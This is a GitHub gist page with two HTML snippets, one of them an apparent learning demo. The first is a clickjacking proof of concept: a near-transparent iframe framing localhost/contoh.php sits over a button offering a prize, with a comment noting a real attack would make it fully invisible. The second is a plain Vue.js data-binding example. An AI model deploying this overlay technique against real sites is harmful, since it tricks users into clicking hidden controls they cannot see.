Skip to content

Instantly share code, notes, and snippets.

@ichsanputr
Created January 24, 2023 13:56
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
fdf
<html>
<style>
iframe {
width:1000px;
height:500px;
position:absolute;
top:0; left:0;
filter:alpha(opacity=10); /* in a real attack this would be opacity=0 */
opacity:0.1;
}
</style>
<body>
<button >Dapatkan Hadiahnya!</button>
<iframe src="http://localhost/contoh.php" width="800" height="400"></iframe>
</body>
</html>
<html>
<head>
<title>VueJs Instance</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>
</head>
<body>
<div id = "databinding">
<button @click="title = 'Anda Logout, Login Terlebih Dahulu...'"> Logout </button> <br>
{{title}}
</div>
<script type = "text/javascript">
var vm = new Vue({
el: '#databinding',
data: {
title : "Anda Sudah Login",
hreflink : "http://www.google.com"
}
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment